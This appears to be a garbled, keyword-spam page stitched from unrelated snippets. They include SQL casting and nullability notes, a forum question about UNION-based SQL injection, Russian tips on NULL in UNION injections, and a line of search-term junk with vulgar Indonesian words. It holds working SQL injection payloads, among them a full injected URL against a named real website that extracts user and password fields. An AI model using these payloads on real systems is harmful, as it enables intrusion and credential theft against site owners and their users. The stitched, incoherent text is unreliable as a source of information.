select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database. If TYPE OF is used with a (VAR)CHAR type, its character.
Union select null, null, null, null, null, null, null from information_schema.tables.
select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
So the expressions ISNULL(NULL, 1) and COALESCE(NULL, 1) although equivalent have different nullability values. This makes a difference if you are using these expressions in computed columns, creating key constraints or making the return value of a scalar UDF deterministic so that it can be...
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к...
P5.1.73-cll3!Padmin_ckg=~= http://www.carnegiegreenaway.org.uk/shadowingsite/review.php?id=999999.9+union+all+select(select+concat(0x3d7e3d,ifnull(user,char(32)),0x332150,ifnull(pass,char...
Minecraft Snapshot 13w39b Minecart W Minecraft Hunger Games Kill Everyone Amelia videostreaming psk ngocok kontol Broken Social Scene Belajar Lapang Dada Dari Bu Istiatun Study Slapping Everyone In Grocery Store999999 9 Union All Select 0x393133353134353632312e39...
Существуют специальные операторы IS NULL и IS NOT NULL, которые позволяют производить сравнения с NULLами.
Appends encoded NULL byte character at the end of payload.